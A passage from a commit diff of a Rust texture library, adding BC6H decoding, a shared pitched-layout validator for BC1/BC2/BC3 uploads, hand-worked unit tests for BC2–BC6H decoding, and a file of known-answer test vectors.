let index = bits.take(if texel == 0 { 3 } else { 4 }) as usize;
let w = WEIGHTS[index];
for c in 0..3 {
let i = ((64 - w) * ends[0][c] + w * ends[1][c] + 32) >> 6;
out[c] = finish(i, signed);
}
}
Ok(texels)
}
+11 -1
View File
@@ -7,10 +7,20 @@
#![forbid(unsafe_code)]
mod bc;
mod bc6h;
pub mod sampler;
mod upload;
pub use bc::{
decode_bc2, decode_bc3, decode_bc4_snorm, decode_bc4_unorm, decode_bc5_snorm, decode_bc5_unorm,
};
pub use bc6h::{
BC6H_SUPPORTED_MODES, Bc6hError, bc6h_mode, decode_bc6h_sfloat, decode_bc6h_ufloat,
};
pub use sampler::{AddressMode, FilterMode, SamplerDesc, SamplerError, TextureMetadata};
pub use upload::{Bc1Subresource, Bc1Upload, Bc1UploadDesc};
pub use upload::{
Bc1Subresource, Bc1Upload, Bc1UploadDesc, BcAlphaFormat, BcAlphaUpload, BcAlphaUploadDesc,
};
const BLOCK_BYTES: usize = 8;
const TILE_BLOCKS: usize = 2;
+238 -37
View File
@@ -32,56 +32,153 @@ pub struct Bc1Subresource<'a> {
impl<'a> Bc1Upload<'a> {
pub fn new(bytes: &'a [u8], desc: Bc1UploadDesc) -> Result<Self, TextureError> {
let max_mips = usize::BITS - desc.width.max(desc.height).leading_zeros();
if desc.format != 1
|| desc.usage != 1
|| desc.width == 0
|| desc.height == 0
|| desc.layers == 0
|| desc.mips == 0
|| desc.mips > max_mips
{
if desc.format != 1 || desc.usage != 1 {
return Err(TextureError::InvalidLayout);
}
let (blocks_x, blocks_y) = mip_blocks(desc.width, desc.height, 0);
let tight_row = blocks_x
.checked_mul(BLOCK_BYTES)
.ok_or(TextureError::SizeOverflow)?;
if desc.row_pitch < tight_row || !desc.row_pitch.is_multiple_of(BLOCK_BYTES) {
return Err(TextureError::InvalidLayout);
}
let minimum_slice = desc
.row_pitch
.checked_mul(blocks_y)
.ok_or(TextureError::SizeOverflow)?;
if desc.slice_pitch < minimum_slice || !desc.slice_pitch.is_multiple_of(BLOCK_BYTES) {
return Err(TextureError::InvalidLayout);
}
let size = desc
.slice_pitch
.checked_mul(desc.mips as usize)
.and_then(|size| size.checked_mul(desc.layers))
.ok_or(TextureError::SizeOverflow)?;
if bytes.len() != size {
return Err(TextureError::InvalidByteLength);
}
Self::layout(desc).validate(bytes.len(), BLOCK_BYTES)?;
Ok(Self { bytes, desc })
}
pub fn subresource(&self, layer: usize, mip: u32) -> Result<Bc1Subresource<'a>, TextureError> {
if layer >= self.desc.layers || mip >= self.desc.mips {
Self::layout(self.desc).subresource(self.bytes, layer, mip)
}
fn layout(desc: Bc1UploadDesc) -> PitchedLayout {
PitchedLayout {
width: desc.width,
height: desc.height,
mips: desc.mips,
layers: desc.layers,
row_pitch: desc.row_pitch,
slice_pitch: desc.slice_pitch,
}
}
}
/// A block-compressed format whose 16-byte block holds an alpha half followed
/// by a BC1-style colour half.
#[derive(Clone, Copy, Debug, PartialEq, Eq)]
pub enum BcAlphaFormat {
/// Explicit 4-bit alpha per texel.
Bc2,
/// Interpolated alpha from two 8-bit endpoints and 3-bit indices.
Bc3,
}
/// A layer-major BC2 or BC3 upload with the same pitch rules as
/// [`Bc1UploadDesc`], measured in 16-byte blocks.
#[derive(Clone, Copy, Debug)]
pub struct BcAlphaUploadDesc {
pub width: usize,
pub height: usize,
pub mips: u32,
pub layers: usize,
pub format: BcAlphaFormat,
pub row_pitch: usize,
pub slice_pitch: usize,
}
#[derive(Debug)]
pub struct BcAlphaUpload<'a> {
bytes: &'a [u8],
desc: BcAlphaUploadDesc,
}
impl<'a> BcAlphaUpload<'a> {
/// Size of one BC2 or BC3 block in bytes.
pub const BLOCK_BYTES: usize = 16;
pub fn new(bytes: &'a [u8], desc: BcAlphaUploadDesc) -> Result<Self, TextureError> {
Self::layout(desc).validate(bytes.len(), Self::BLOCK_BYTES)?;
Ok(Self { bytes, desc })
}
pub fn format(&self) -> BcAlphaFormat {
self.desc.format
}
/// Selects one level; the returned rows hold 16-byte blocks.
pub fn subresource(&self, layer: usize, mip: u32) -> Result<Bc1Subresource<'a>, TextureError> {
Self::layout(self.desc).subresource(self.bytes, layer, mip)
}
fn layout(desc: BcAlphaUploadDesc) -> PitchedLayout {
PitchedLayout {
width: desc.width,
height: desc.height,
mips: desc.mips,
layers: desc.layers,
row_pitch: desc.row_pitch,
slice_pitch: desc.slice_pitch,
}
}
}
/// Format-independent pitch rules shared by the pitched uploads.
struct PitchedLayout {
width: usize,
height: usize,
mips: u32,
layers: usize,
row_pitch: usize,
slice_pitch: usize,
}
impl PitchedLayout {
fn validate(&self, len: usize, block_bytes: usize) -> Result<(), TextureError> {
let max_mips = usize::BITS - self.width.max(self.height).leading_zeros();
if self.width == 0
|| self.height == 0
|| self.layers == 0
|| self.mips == 0
|| self.mips > max_mips
{
return Err(TextureError::InvalidLayout);
}
let (blocks_x, blocks_y) = mip_blocks(self.width, self.height, 0);
let tight_row = blocks_x
.checked_mul(block_bytes)
.ok_or(TextureError::SizeOverflow)?;
if self.row_pitch < tight_row || !self.row_pitch.is_multiple_of(block_bytes) {
return Err(TextureError::InvalidLayout);
}
let minimum_slice = self
.row_pitch
.checked_mul(blocks_y)
.ok_or(TextureError::SizeOverflow)?;
if self.slice_pitch < minimum_slice || !self.slice_pitch.is_multiple_of(block_bytes) {
return Err(TextureError::InvalidLayout);
}
let size = self
.slice_pitch
.checked_mul(self.mips as usize)
.and_then(|size| size.checked_mul(self.layers))
.ok_or(TextureError::SizeOverflow)?;
if len != size {
return Err(TextureError::InvalidByteLength);
}
Ok(())
}
fn subresource<'a>(
&self,
bytes: &'a [u8],
layer: usize,
mip: u32,
) -> Result<Bc1Subresource<'a>, TextureError> {
if layer >= self.layers || mip >= self.mips {
return Err(TextureError::OutOfBounds);
}
// Construction proved that the complete array fits in the source span.
let offset = (layer * self.desc.mips as usize + mip as usize) * self.desc.slice_pitch;
let width = (self.desc.width >> mip).max(1);
let height = (self.desc.height >> mip).max(1);
let offset = (layer * self.mips as usize + mip as usize) * self.slice_pitch;
let width = (self.width >> mip).max(1);
let height = (self.height >> mip).max(1);
let rows = height.div_ceil(4);
Ok(Bc1Subresource {
bytes: &self.bytes[offset..offset + rows * self.desc.row_pitch],
bytes: &bytes[offset..offset + rows * self.row_pitch],
width,
height,
row_pitch: self.desc.row_pitch,
row_pitch: self.row_pitch,
})
}
}
@@ -182,4 +279,108 @@ mod tests {
);
}
}
const ALPHA_DESC: BcAlphaUploadDesc = BcAlphaUploadDesc {
width: 5,
height: 5,
mips: 2,
layers: 2,
format: BcAlphaFormat::Bc3,
row_pitch: 48,
slice_pitch: 112,
};
#[test]
fn selects_bc_alpha_subresources_in_sixteen_byte_blocks() {
let mut bytes = [0; 448];
// Layer 1 starts at 224; its base row 1, block 1 is at 224 + 48 + 16.
bytes[288..304].fill(0x5c);
bytes[336] = 0xa7; // Layer 1, mip 1, block 0.
let upload = BcAlphaUpload::new(&bytes, ALPHA_DESC).unwrap();
assert_eq!(upload.format(), BcAlphaFormat::Bc3);
let base = upload.subresource(1, 0).unwrap();
assert_eq!((base.width, base.height, base.row_pitch), (5, 5, 48));
assert_eq!(base.bytes.len(), 96);
assert_eq!(base.bytes[64..80], [0x5c; 16]);
let small = upload.subresource(1, 1).unwrap();
assert_eq!((small.width, small.height, small.bytes.len()), (2, 2, 48));
assert_eq!(small.bytes[0], 0xa7);
assert_eq!(
upload.subresource(2, 0).unwrap_err(),
TextureError::OutOfBounds
);
assert_eq!(
upload.subresource(0, 2).unwrap_err(),
TextureError::OutOfBounds
);
}
#[test]
fn rejects_bc1_pitches_for_sixteen_byte_blocks() {
let bytes = [0; 448];
// Each pitch is a valid BC1 multiple of 8 but not of 16, or is
// shorter than two 16-byte blocks.
for desc in [
BcAlphaUploadDesc {
row_pitch: 24,
..ALPHA_DESC
},
BcAlphaUploadDesc {
row_pitch: 40,
..ALPHA_DESC
},
BcAlphaUploadDesc {
slice_pitch: 104,
..ALPHA_DESC
},
BcAlphaUploadDesc {
slice_pitch: 80,
..ALPHA_DESC
},
BcAlphaUploadDesc {
mips: 4,
..ALPHA_DESC
},
BcAlphaUploadDesc {
width: 0,
..ALPHA_DESC
},
BcAlphaUploadDesc {
height: 0,
..ALPHA_DESC
},
BcAlphaUploadDesc {
layers: 0,
..ALPHA_DESC
},
BcAlphaUploadDesc {
mips: 0,
..ALPHA_DESC
},
] {
assert_eq!(
BcAlphaUpload::new(&bytes, desc).unwrap_err(),
TextureError::InvalidLayout
);
}
// Short, oversized, and one block too few or too many for the layout.
let long = [0; 449];
for bytes in [&bytes[..447], &long[..], &bytes[..432], &[0; 464][..]] {
assert_eq!(
BcAlphaUpload::new(bytes, ALPHA_DESC).unwrap_err(),
TextureError::InvalidByteLength
);
}
assert_eq!(
BcAlphaUpload::new(
&bytes,
BcAlphaUploadDesc {
width: usize::MAX,
..ALPHA_DESC
}
)
.unwrap_err(),
TextureError::SizeOverflow
);
}
}
+237
View File
@@ -0,0 +1,237 @@
// SPDX-License-Identifier: GPL-3.0-or-later
//! BC6H subset tests.
//!
//! Hand-worked expectations follow the Khronos Data Format Specification 1.3,
//! section 20.2 (Tables 121 and 122, unquantization and final unquantization)
//! and the BC7 weight table (Table 119). The known-answer file holds vectors
//! produced by a separate clean-room reference decoder, not by this crate.
use xenora_texture::{
BC6H_SUPPORTED_MODES, Bc6hError, bc6h_mode, decode_bc6h_sfloat, decode_bc6h_ufloat,
};
/// Packs fields into a block from bit 0 upward, as Table 122 reads them.
#[derive(Default)]
struct Writer {
bits: u128,
offset: u32,
}
impl Writer {
fn put(&mut self, value: u64, count: u32) -> &mut Self {
self.bits |= u128::from(value & ((1 << count) - 1)) << self.offset;
self.offset += count;
self
}
/// Table 122's reversed field `v[low..high]`: the first block bit holds
/// bit `high` of `value`, the next `high - 1`, down to `low`.
fn reversed(&mut self, value: u64, low: u32, high: u32) -> &mut Self {
for bit in (low..=high).rev() {
self.put(value >> bit, 1);
}
self
}
/// Writes the 63 index bits: texel 0 is the anchor (3 bits, implicit top
/// bit 0), every other texel 4 bits.
fn indices(&mut self, indices: [u64; 16]) -> [u8; 16] {
assert_eq!(self.offset, 65);
assert!(indices[0] < 8);
self.put(indices[0], 3);
for &index in &indices[1..] {
self.put(index, 4);
}
assert_eq!(self.offset, 128);
self.bits.to_le_bytes()
}
}
/// Index t for texel t, except the anchor texel 0, which must be below 8.
const RAMP: [u64; 16] = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15];
/// Mode 3 (Microsoft mode 11): 10-bit endpoints stored directly.
fn mode3(e0: [u64; 3], e1: [u64; 3], indices: [u64; 16]) -> [u8; 16] {
let mut w = Writer::default();
w.put(3, 5);
for value in e0.into_iter().chain(e1) {
w.put(value, 10);
}
w.indices(indices)
}
#[test]
fn mode3_unsigned_spans_zero_to_the_largest_half() {
let block = mode3([0; 3], [1023; 3], RAMP);
assert_eq!(bc6h_mode(block), 3);
let texels = decode_bc6h_ufloat(block).unwrap();
// Endpoint 0 unquantizes to 0 and the all-ones endpoint to 0xffff, which
// the final (i * 31) >> 6 maps to 0x7bff, 65504.0.
assert_eq!(texels[0], [0; 3]);
assert_eq!(texels[15], [0x7bff; 3]);
// Index 8 has weight 34: i = (34 * 0xffff + 32) >> 6 = 34815, and
// (34815 * 31) >> 6 = 16863 = 0x41df.
assert_eq!(texels[8], [0x41df; 3]);
// Index 1 has weight 4: i = (4 * 0xffff + 32) >> 6 = 4096, then
// (4096 * 31) >> 6 = 1984 = 0x07c0.
assert_eq!(texels[1], [0x07c0; 3]);
}
#[test]
fn mode3_signed_sign_extends_and_saturates_both_ends() {
// 0x201 is -511 in 10 bits; |x| >= 2^9 - 1 unquantizes to -0x7fff, and
// the final step gives ((0x7fff * 31) >> 5) | 0x8000 = 0xfbff (-65504.0).
// 511 gives 0x7fff -> 0x7bff (65504.0).
let block = mode3([0x201, 0x201, 0], [511, 0, 0x201], RAMP);
let texels = decode_bc6h_sfloat(block).unwrap();
assert_eq!(texels[0], [0xfbff, 0xfbff, 0x0000]);
assert_eq!(texels[15], [0x7bff, 0x0000, 0xfbff]);
// Index 8 between -0x7fff and 0x7fff: i = (30 * -32767 + 34 * 32767 + 32)
// >> 6 = 2048, so (2048 * 31) >> 5 = 1984 = 0x07c0 in red.
assert_eq!(texels[8][0], 0x07c0);
// Unsigned data reads 0x201 as 513: ((513 << 15) + 0x4000) >> 9 = 32864,
// and (32864 * 31) >> 6 = 15918 = 0x3e2e.
assert_eq!(decode_bc6h_ufloat(block).unwrap()[0][0], 0x3e2e);
}
#[test]
fn mode7_wraps_the_transformed_endpoint_at_eleven_bits() {
// Mode 7 (Microsoft 12): R0[9:0], G0[9:0], B0[9:0], then per channel
// R1[8:0] and R0[10]. E0 = 2047 in every channel, delta +1, so
// E1 = (2047 + 1) & 0x7ff = 0.
let mut w = Writer::default();
w.put(7, 5);
for _ in 0..3 {
w.put(0x3ff, 10);
}
for _ in 0..3 {
w.put(1, 9).put(1, 1);
}
let block = w.indices(RAMP);
let texels = decode_bc6h_ufloat(block).unwrap();
assert_eq!(texels[0], [0x7bff; 3]);
assert_eq!(texels[15], [0; 3]);
// Signed: E0 = 2047 is -1 in 11 bits and the delta +1 makes E1 = 0.
// -1 unquantizes to -((1 << 15) + 0x4000) >> 10 = -48, final -(48 * 31 >> 5)
// = -46 -> 0x802e.
let texels = decode_bc6h_sfloat(block).unwrap();
assert_eq!(texels[0], [0x802e; 3]);
assert_eq!(texels[15], [0; 3]);
}
#[test]
fn mode15_reads_its_reversed_high_bits() {
// Mode 15 (Microsoft 14): E0[9:0] per channel, then per channel E1[3:0]
// and E0[10..15] reversed. E0 = 0x8000 has only bit 15 set, which is
// the first bit of the reversed field. 16-bit endpoints are not
// unquantized, so E0 reads (0x8000 * 31) >> 6 = 0x3e00 unsigned.
let mut w = Writer::default();
w.put(15, 5);
for _ in 0..3 {
w.put(0, 10);
}
for _ in 0..3 {
w.put(1, 4).reversed(0x8000, 10, 15);
}
let block = w.indices(RAMP);
let texels = decode_bc6h_ufloat(block).unwrap();
assert_eq!(texels[0], [0x3e00; 3]);
// E1 = 0x8001: (0x8001 * 31) >> 6 = 0x3e00 as well.
assert_eq!(texels[15], [0x3e00; 3]);
// Swapping the reversed order would place bit 15 at bit 10: E0 = 0x400,
// which would read (0x400 * 31) >> 6 = 0x1f0 instead.
assert_ne!(texels[0][0], 0x01f0);
// Signed: 0x8000 is -32768 and passes through unquantization; the final
// step gives ((32768 * 31) >> 5) | 0x8000 = 0xfc00, negative infinity.
assert_eq!(decode_bc6h_sfloat(block).unwrap()[0], [0xfc00; 3]);
}
#[test]
fn mode11_places_its_two_reversed_bits() {
// Mode 11 (Microsoft 13): E1[7:0] then E0[10..11] reversed. E0 = 0x800
// (bit 11 only) and delta 0; 12-bit 0x800 = 2048 unquantizes to
// ((2048 << 15) + 0x4000) >> 11 = 32776, final (32776 * 31) >> 6 = 15875.
let mut w = Writer::default();
w.put(11, 5);
for _ in 0..3 {
w.put(0, 10);
}
for _ in 0..3 {
w.put(0, 8).reversed(0x800, 10, 11);
}
let block = w.indices([0; 16]);
assert_eq!(decode_bc6h_ufloat(block).unwrap()[5], [15875; 3]);
}
#[test]
fn reserved_modes_decode_to_zero() {
for mode in [19, 23, 27, 31] {
let block = [
mode, 0xff, 0x12, 0x34, 0x56, 0x78, 0x9a, 0xbc, 0xde, 0xf0, 1, 2, 3, 4, 5, 6,
];
assert_eq!(bc6h_mode(block), mode);
assert_eq!(decode_bc6h_ufloat(block).unwrap(), [[0; 3]; 16]);
assert_eq!(decode_bc6h_sfloat(block).unwrap(), [[0; 3]; 16]);
}
}
#[test]
fn rejects_every_two_subset_mode() {
let two_subset = [0, 1, 2, 6, 10, 14, 18, 22, 26, 30];
for mode in 0..32u8 {
let block = [mode, 0xaa, 0x55, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0];
let number = bc6h_mode(block);
if two_subset.contains(&number) {
assert!(!BC6H_SUPPORTED_MODES.contains(&number));
assert_eq!(
decode_bc6h_ufloat(block),
Err(Bc6hError::UnsupportedMode(number))
);
assert_eq!(
decode_bc6h_sfloat(block),
Err(Bc6hError::UnsupportedMode(number))
);
}
}
// Two-bit modes: the low bits 0 and 1 select modes 0 and 1 whatever the
// next three bits hold.
assert_eq!(
bc6h_mode([0b11100, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]),
0
);
assert_eq!(
bc6h_mode([0b11101, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]),
1
);
}
fn hex16(text: &str) -> u16 {
u16::from_str_radix(text, 16).unwrap()
}
#[test]
fn matches_independent_known_answers_by_mode() {
let text = include_str!("fixtures/bc6h_vectors.txt");
let mut per_mode = std::collections::BTreeMap::<u8, usize>::new();
for line in text.lines().filter(|line| !line.starts_with('#')) {
let fields: Vec<_> = line.split(' ').collect();
let hex = fields[2];
let block: [u8; 16] =
std::array::from_fn(|i| u8::from_str_radix(&hex[2 * i..2 * i + 2], 16).unwrap());
let want: Vec<[u16; 3]> = fields[3..]
.iter()
.map(|t| [0, 1, 2].map(|c| hex16(&t[4 * c..4 * c + 4])))
.collect();
let got = if fields[1] == "1" {
decode_bc6h_sfloat(block)
} else {
decode_bc6h_ufloat(block)
}
.unwrap();
assert_eq!(got[..], want[..], "vector {line}");
*per_mode.entry(bc6h_mode(block)).or_default() += 1;
}
// 16 vectors (8 unsigned, 8 signed) for each supported and reserved mode.
let expected: Vec<_> = [3, 7, 11, 15, 19, 23, 27, 31].map(|m| (m, 16)).into();
assert_eq!(per_mode.into_iter().collect::<Vec<_>>(), expected);
}
+219
View File
@@ -0,0 +1,219 @@
// SPDX-License-Identifier: GPL-3.0-or-later
//! Expected values are worked by hand from the Microsoft BC2-BC5 and Khronos
//! S3TC/RGTC formulas (truncating integer division); the production decoder is
//! never used to produce them.
use xenora_texture::{
decode_bc2, decode_bc3, decode_bc4_snorm, decode_bc4_unorm, decode_bc5_snorm, decode_bc5_unorm,
};
/// Packs sixteen 3-bit indices bit by bit, texel 0 in the lowest bit.
fn pack3(indices: [u8; 16]) -> [u8; 6] {
let mut out = [0u8; 6];
for (t, idx) in indices.iter().enumerate() {
for bit in 0..3 {
if (idx >> bit) & 1 == 1 {
let pos = 3 * t + bit;
out[pos / 8] |= 1 << (pos % 8);
}
}
}
out
}
fn bc4(a0: u8, a1: u8, indices: [u8; 16]) -> [u8; 8] {
let i = pack3(indices);
[a0, a1, i[0], i[1], i[2], i[3], i[4], i[5]]
}
const SEQ: [u8; 16] = [0, 1, 2, 3, 4, 5, 6, 7, 0, 1, 2, 3, 4, 5, 6, 7];
fn expect(palette: [u8; 8]) -> [u8; 16] {
std::array::from_fn(|t| palette[t % 8])
}
#[test]
fn packing_helper_matches_hand_bytes() {
// 111 110 101 100 011 010 001 000 = 0xFAC688, twice.
assert_eq!(pack3(SEQ), [0x88, 0xC6, 0xFA, 0x88, 0xC6, 0xFA]);
}
#[test]
fn bc4_unorm_eight_value_mode() {
// a0 > a1: p[k+1] = ((7-k)*200 + k*100) / 7 for k = 1..6.
// 1300/7=185, 1200/7=171, 1100/7=157, 1000/7=142, 900/7=128, 800/7=114.
let out = decode_bc4_unorm(bc4(200, 100, SEQ));
assert_eq!(out, expect([200, 100, 185, 171, 157, 142, 128, 114]));
}
#[test]
fn bc4_unorm_six_value_mode_with_zero_and_255() {
// a0 <= a1: ((5-k)*100 + k*200) / 5: 600/5=120, 700/5=140, 800/5=160,
// 900/5=180, then 0 and 255.
let out = decode_bc4_unorm(bc4(100, 200, SEQ));
assert_eq!(out, expect([100, 200, 120, 140, 160, 180, 0, 255]));
// Equal endpoints also take the six-value mode.
let out = decode_bc4_unorm(bc4(50, 50, SEQ));
assert_eq!(out, expect([50, 50, 50, 50, 50, 50, 0, 255]));
}
#[test]
fn bc4_snorm_eight_value_mode_truncates_toward_zero() {
// a0=100 > a1=-100: 500/7=71, 300/7=42, 100/7=14, -100/7=-14,
// -300/7=-42, -500/7=-71.
let b = bc4(100, 0x9C, SEQ); // 0x9C = -100
let out = decode_bc4_snorm(b);
let e: [i8; 8] = [100, -100, 71, 42, 14, -14, -42, -71];
assert_eq!(out, std::array::from_fn(|t| e[t % 8]));
}
#[test]
fn bc4_snorm_six_value_mode_with_fixed_extremes() {
// a0=-100 <= a1=100: (-400+100)/5=-60, (-300+200)/5=-20, 20, 60, -127, 127.
let out = decode_bc4_snorm(bc4(0x9C, 100, SEQ));
let e: [i8; 8] = [-100, 100, -60, -20, 20, 60, -127, 127];
assert_eq!(out, std::array::from_fn(|t| e[t % 8]));
}
#[test]
fn bc4_snorm_minus_128_is_kept_for_endpoints_and_acts_as_minus_127() {
// a0=-128 < a1=127: six-value mode, x=-127: p2=(4*-127+127)/5=-381/5=-76.
let out = decode_bc4_snorm(bc4(0x80, 127, SEQ));
assert_eq!(out[0], -128);
assert_eq!(out[1], 127);
assert_eq!(out[2], -76);
// a0=127 > a1=-128: eight-value mode, y=-127: p2=(6*127-127)/7=635/7=90.
let out = decode_bc4_snorm(bc4(127, 0x80, SEQ));
assert_eq!(out[1], -128);
assert_eq!(out[2], 90);
}
#[test]
fn every_index_position_is_read_from_its_own_bits() {
// Texel n alone uses index 1 (value 100); all others index 0 (value 200).
// Texels 2, 5, 10 and 13 span byte boundaries.
for n in 0..16 {
let mut idx = [0u8; 16];
idx[n] = 1;
let out = decode_bc4_unorm(bc4(200, 100, idx));
for (t, v) in out.iter().enumerate() {
assert_eq!(*v, if t == n { 100 } else { 200 }, "texel {t}, set {n}");
}
}
}
#[test]
fn wrong_index_bit_order_would_fail() {
// Texel 5 occupies bits 15..17 (byte 1 bit 7, byte 2 bits 0-1); texel 10
// occupies bits 30..32 (byte 3 bits 6-7, byte 4 bit 0).
let mut idx = [0u8; 16];
idx[5] = 1;
idx[10] = 2;
let b = bc4(200, 100, idx);
// Hand-checked bytes: bit 15 set; bit 31 set.
assert_eq!(&b[2..], &[0x00, 0x80, 0x00, 0x80, 0x00, 0x00]);
let out = decode_bc4_unorm(b);
assert_eq!(out[5], 100);
assert_eq!(out[10], 185);
assert_ne!(out[5], out[10]);
// A decoder reading the 48 bits most-significant first (wrong order)
// lands on different texels; show that this block tells them apart.
let bits = b[2..8]
.iter()
.rev()
.fold(0u64, |a, x| (a << 8) | u64::from(*x));
let wrong = |t: usize| ((bits >> (45 - 3 * t)) & 7) as u8;
assert_ne!(wrong(5), 1);
assert_ne!(wrong(10), 2);
}
fn colour_bytes(c0: u16, c1: u16, indices: u32) -> [u8; 8] {
let (a, b, i) = (c0.to_le_bytes(), c1.to_le_bytes(), indices.to_le_bytes());
[a[0], a[1], b[0], b[1], i[0], i[1], i[2], i[3]]
}
#[test]
fn bc2_expands_four_bit_alpha_and_always_uses_four_colours() {
// Red 0xF800 = (255,0,0), blue 0x001F = (0,0,255).
// p2 = (170,0,85), p3 = (85,0,170). Texels 0..3 use indices 0..3.
let alpha = [0x10, 0x32, 0x54, 0x76, 0x98, 0xBA, 0xDC, 0xFE];
for (c0, c1, mid) in [
(0xF800, 0x001F, [[170, 0, 85], [85, 0, 170]]),
// Endpoints swapped: still four-colour mode, no transparent index.
(0x001F, 0xF800, [[85, 0, 170], [170, 0, 85]]),
] {
let mut block = [0u8; 16];
block[..8].copy_from_slice(&alpha);
block[8..].copy_from_slice(&colour_bytes(c0, c1, 0b11_10_01_00));
let out = decode_bc2(block);
let first = if c0 == 0xF800 {
[255, 0, 0]
} else {
[0, 0, 255]
};
let second = if c0 == 0xF800 {
[0, 0, 255]
} else {
[255, 0, 0]
};
let rgb = [first, second, mid[0], mid[1]];
for t in 0..16 {
assert_eq!(out[t][3], t as u8 * 17, "alpha texel {t}");
if t < 4 {
assert_eq!(out[t][..3], rgb[t], "colour texel {t}");
} else {
assert_eq!(out[t][..3], first, "colour texel {t}");
}
}
}
}
#[test]
fn bc3_uses_bc4_style_alpha_and_four_colour_block() {
let mut block = [0u8; 16];
block[..8].copy_from_slice(&bc4(200, 100, SEQ));
// c0 < c1 would be 3-colour in BC1; index 3 must stay interpolated.
block[8..].copy_from_slice(&colour_bytes(0x001F, 0xF800, 0xFFFF_FFFF));
let out = decode_bc3(block);
let alpha = expect([200, 100, 185, 171, 157, 142, 128, 114]);
for t in 0..16 {
assert_eq!(out[t][3], alpha[t]);
assert_eq!(out[t][..3], [170, 0, 85]);
}
// Six-value alpha mode.
block[..8].copy_from_slice(&bc4(100, 200, SEQ));
let alpha = expect([100, 200, 120, 140, 160, 180, 0, 255]);
let out = decode_bc3(block);
for t in 0..16 {
assert_eq!(out[t][3], alpha[t]);
}
}
#[test]
fn bc5_channel_order_is_red_then_green() {
// All texels index 1 = 0b001 repeated: bytes 0x49 0x92 0x24 twice.
let ones = [0x49, 0x92, 0x24, 0x49, 0x92, 0x24];
let mut block = [0u8; 16];
block[..2].copy_from_slice(&[200, 100]);
block[2..8].copy_from_slice(&ones);
block[8..10].copy_from_slice(&[100, 200]);
block[10..].copy_from_slice(&ones);
for texel in decode_bc5_unorm(block) {
assert_eq!(texel, [100, 200]);
}
}
#[test]
fn bc5_snorm_channels_and_fixed_values() {
// Index 6 = 0b110 repeated: bytes 0xB6 0x6D 0xDB twice.
let sixes = [0xB6, 0x6D, 0xDB, 0xB6, 0x6D, 0xDB];
let mut block = [0u8; 16];
// Red: a0=100 > a1=-100, index 6 = -42. Green: a0=-100 <= a1=100, index 6 = -127.
block[..2].copy_from_slice(&[100, 0x9C]);
block[2..8].copy_from_slice(&sixes);
block[8..10].copy_from_slice(&[0x9C, 100]);
block[10..].copy_from_slice(&sixes);
for texel in decode_bc5_snorm(block) {
assert_eq!(texel, [-42, -127]);
}
}
+132
View File
@@ -0,0 +1,132 @@
# BC6H known-answer vectors from an independent clean-room reference decoder (Python, written
# from the Microsoft BC6H and Khronos BPTC texts by a separate reviewer; not Xenora's decoder).
# Seeded random and extreme-payload blocks for the four single-subset modes and the four
# reserved modes. Fields: reference-mode signed block-hex then 16 texels of rrrrggggbbbb half bits.
11 0 83ea63de09bae256474d77a3922fc7ec 66c326ab27f8 669f2b222b59 6541558e4b6a 669f2b222b59 662739a53651 662739a53651 66c326ab27f8 65af48294149 66e822342498 65dd42943d11 64ee5f9a5302 66e822342498 662739a53651 65665117480a 65665117480a 65135b234fa2
11 0 a38d3e6a3f3c6083660b71f11402542b 20ca1f096214 34512ee0512e 53de487735e2 0d420f3272fa 134414126dc7 3a5433c04bfb 134414126dc7 6d685d2e1fc9 26cc23e95ce1 134414126dc7 1ac71a296747 0d420f3272fa 26cc23e95ce1 2cce28c957ae 53de487735e2 1ac71a296747
11 0 23f083505649414fbb1eaf43a6e55411 54e12a335c6b 376936f055a1 28ae3d4f523c 682521de60dc 24253f455131 3bf234fa56ad 5df226475e82 596a283d5d77 4f362ca65b1d 3bf234fa56ad 54e12a335c6b 28ae3d4f523c 596a283d5d77 54e12a335c6b 682521de60dc 682521de60dc
11 0 23690f32bae380ea09cf46f44f8cc9b1 4ead02f4389a 65e603b12216 0e7800e876da 203a017965a2 4261028f4486 4ead02f4389a 4ead02f4389a 0e7800e876da 0e7800e876da 4ead02f4389a 203a017965a2 377402364f1e 31fd020a546a 203a017965a2 606f03842762 25b101a56056
11 0 439f70784476716762c37b1bc81e24b1 21d42077428e 350f3cdb3352 29b22c143c52 4aea5d1e2202 476b57f424c7 388e4204308d 476b57f424c7 21d42077428e 3c0e472e2dc7 4aea5d1e2202 52c868bb1bc6 21d42077428e 2d31313e398d 263326eb3f17 21d42077428e 476b57f424c7
11 0 6350574c754a6d65029add620e20dd6c 4b951a6d4e8f 4dec15215229 34c84e152b6f 37b447752ff0 2dc45df920a0 2dc45df920a0 48a9210d4a0e 3eb937913abe 2ad864991c1f 4dec15215229 4dec15215229 48a9210d4a0e 2dc45df920a0 2dc45df920a0 301b58ad243a 3eb937913abe
11 0 03000000000000000000000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
11 0 e3ffffffffffffffffffffffffffffff 7bff7bff7bff 7bff7bff7bff 7bff7bff7bff 7bff7bff7bff 7bff7bff7bff 7bff7bff7bff 7bff7bff7bff 7bff7bff7bff 7bff7bff7bff 7bff7bff7bff 7bff7bff7bff 7bff7bff7bff 7bff7bff7bff 7bff7bff7bff 7bff7bff7bff 7bff7bff7bff
11 1 c395d46c7ced9691f0d4acc885a373f4 2a43670def0b 68812c714699 3acb577bbecb 5fc034ae2d0d 5bdc385821b3 54143fac0aff 4b5347ea8e8b 5bdc385821b3 3eaf53d1b371 4b5347ea8e8b 36e75b25ca25 54143fac0aff 36e75b25ca25 47704b9399e6 3acb577bbecb 68812c714699
11 1 43937ad03385b0571e6cdfc6d2eb099e 26c74bb052c6 25993d9f7192 27bb570e39e6 269949865783 28535e172a81 27ea59383529 269949865783 27bb570e39e6 25d340536ba6 27ea59383529 278d54e33ea3 28245bec2f3d 27245005494c 256b3b75764f 28245bec2f3d 27245005494c
11 1 83093e199a9a32ed37d2ff5cc8cd8e01 063ab71431ec 063ab71431ec 0a03c3153692 a18146f50121 aa0561f78953 aa0561f78953 9db83af405c7 81569f1228a1 8da307f01987 9db83af405c7 a18146f50121 9db83af405c7 a63c55f684ad 8da307f01987 0ebed2163c61 1287de174107
